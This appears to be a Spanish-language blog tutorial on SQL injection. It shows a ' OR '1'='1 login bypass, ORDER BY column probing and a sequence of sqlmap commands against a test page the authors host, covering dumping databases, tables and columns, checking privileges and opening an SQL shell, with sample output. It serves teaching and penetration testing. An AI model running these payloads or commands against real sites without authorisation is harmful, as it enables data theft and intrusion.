Automatizando ataques de inyección de SQL

Automatizando ataques de inyección de SQL

SQL Injection es una técnica de ataque a paginas o aplicaciones, que intenta inyectar código SQL dentro de la aplicación destino, para romper o acceder a información.

Pruebas de seguridad en las bases de datos

Por ejemplo cuando una web tiene un área de ingreso de usuario o login usualmente el desarrollador para validarlo, hace lo siguiente:

SELECT * FROM Users WHERE Username='usuario' AND Password='contraseña'

Si las variables usuario y contraseña se toman directamente de el formulario sin ningún tipo de escape de caracteres y se ingresan en la consulta, podríamos hacer que el usuario y contraseña tengan como valor '1' OR '1' = '1'.

La instrucción de SQL quedaría así:

SELECT * FROM Users WHERE Username='1' OR '1' = '1'  AND Password='1' OR '1′'= '1'

Esto significa que podríamos en ciertos casos identificar el número de columnas que contiene la tabla que muestra la información de la pagina que se esta auditando:

www.sitio.com/noticias.php?id=1 order by 1-- [Sin error]www.sitio.com/noticias.php?id=1 order by 2-- [Sin error]www.sitio.com/noticias.php?id=1 order by 3-- [Error]

El error se muestra al colocar el numero 3, esto quiere decir que la tabla solamente tiene 2 columnas.

Y así sucesivamente lo podríamos hacer manualmente, para efectos didácticos es recomendado hacerlo así. Pero en ambientes reales de auditoria, el tiempo es importante y si hacemos uso correcto de las herramientas tendremos los mismos resultados como si lo hiciéramos a mano y a veces mejores.

SQLmap, automatizando la inyección de SQL

SQLmap tiene soporte para distintos motores de base de datos: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB.

Tiene la capacidad de realizar de manera automática 6 técnicas de ataques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.

Requisitos

Python 2.7.5 o mayores.

Instalando SQLmap

Utilizamos Git para obtener el programa:

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev 

Esto nos creara la carpeta sqlmap-dev en donde encontraremos una serie de archivos, pero el que nos interesa para ejecutar la herramienta, es sqlmap.py

Para hacer pruebas reales, creamos una página -donde podrán probar- lo que continuación les mostraremos, en esta dirección.

Conocer el motor, el nombre de la base de datos y más.

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --current-db

Entre todos los datos que se nos muestra al final veremos esto:

back-end DBMS: MySQL 5.0[22:28:48] [INFO] fetching current databasecurrent database:    'testrootear'

Así que ya conocemos el nombre de la base de datos, en este caso testrootear.

Listando las tablas de la base de datos

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --tables -D testrootear

Resultado:

[22:17:39] [INFO] fetching tables for database: 'testrootear'Database: testrootear[1 table]+----------+| noticias |+----------+

Ahora ya conocemos que el nombre de la tabla es noticias.

Listando las columnas de la tabla

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --columns -T noticias -D testrootear

Resultado:

Database: testrootearTable: noticias[2 columns]+-------------+--------------+| Column      | Type         |+-------------+--------------+| descripcion | varchar(200) || titulo      | varchar(100) |+-------------+--------------+

Mostrar el contenido de la tabla

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --dump -T noticias -D testrootear

Resultado:

Database: testrootearTable: noticias[2 entries]+-----------------------------------------------+--------------------------------+| titulo                                         | descripcion               |+-----------------------------------------------+--------------------------------+| Android y sus especificaciones   | Lo mejor de Android   || Windows y sus especificaciones | Lo mejor de Widow$  |+------------------------------------------------+-------------------------------+

Mostrar si el usuario de la base de datos que usamos en DBA

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --is-dba

Resultado:

[22:23:38] [INFO] testing if current user is DBA[22:23:38] [INFO] fetching current user[22:23:38] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'current user is DBA:    False

Mostrar otras bases de datos que hay en el servidor.

En este punto va a depender de los privilegios que tenga el usuario, en el script que tenemos para que hacer pruebas el usuario solamente tiene privilegios sobre la base de datos testrootear y por defecto information_schema.

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --dbs

Mostrar los privilegios del usuario actual

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --privileges

Resultado:

database management system users privileges:[*] 'rootearok'@'localhost' [1]:privilege: USAGE

Obteniendo SQL Shell

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --sql-shell

Como respuesta nos da una shell SQL en donde se podrá realizar consultas, escribimos:

SELECT @@datadir

Resultado:

sql-shell> SELECT @@datadir[22:33:20] [INFO] fetching SQL SELECT statement query output: 'SELECT @@datadir'SELECT @@datadir:    '/var/lib/mysql/'

Ciertamente SQLmap nos ofrece muchas opciones mas avanzadas, las cuales podremos ahondar mas en la documentación que se encuentra aquí. Depende de nosotros el uso que le demos a este tipo de herramientas, así que si vamos a hacer pruebas en otros ambientes no controlados o ajenos, no nos hacemos responsables.

Para ti
Queremos saber tu opinión. ¡Comenta!